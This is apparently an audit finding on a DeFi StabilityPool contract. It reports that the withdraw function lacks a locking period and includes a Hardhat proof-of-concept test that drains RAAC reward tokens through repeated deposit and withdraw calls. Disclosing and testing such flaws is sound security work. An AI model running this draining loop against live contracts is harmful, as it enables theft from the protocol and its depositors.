Summary
The withdraw
function in the StabilityPool
contract does not have a locking period, making it vulnerable to flash loan attacks and repetitive withdraw and deposit attacks. This can lead to drain the contract RAAC tokens.
Vulnerability Details
The current withdraw
function in the StabilityPool
contract is:
function withdraw(
uint256 deCRVUSDAmount
) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount)
revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount)
revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
The function does not have a locking period, making it vulnerable to flash loan attacks.
POC
copy paste the following test in StabilityPool.test.js
in RAAC Rewards
in this test user2 only had 50 RTokens but user1 had 100 RTokens since there is no time-lock mechanism after some RAAC tokens are minted user2 drained the contract by repitatively depositing and withdrawing.
it.only("should distribute rewards proportionally", async function () {
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
const user1Rewards = await stabilityPool.calculateRaacRewards(
user1.address
);
const user2Rewards = await stabilityPool.calculateRaacRewards(
user2.address
);
await stabilityPool
.connect(user2)
.withdraw(await deToken.balanceOf(user2.address));
console.log(
"balnce of RAACToken",
ethers.formatEther(await raacToken.balanceOf(user2.address))
);
while ((await raacToken.balanceOf(stabilityPool.target)) > ethers.parseEther("1")) {
await rToken
.connect(user2)
.approve(stabilityPool.target, ethers.parseEther("50"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
await stabilityPool
.connect(user2)
.withdraw(await deToken.balanceOf(user2.address));
}
console.log(
"balnce of RAACToken",
ethers.formatEther(await raacToken.balanceOf(user2.address))
);
});
});
the output should be
balnce of RAACToken 1.54629629629629629
balnce of RAACToken 6.589993056613998513
Impact
This issue can lead to potential exploitation and manipulation of the protocol through flash loan attacks, potentially causing significant financial losses.
Tools Used
Manual code review.
Recommendations
Implement a locking period to protect against flash loan attacks. This ensures that users cannot immediately withdraw their deposits after making them, reducing the risk of exploitation.
This ensures that users cannot immediately withdraw their deposits after making them, reducing the risk of flash loan attacks.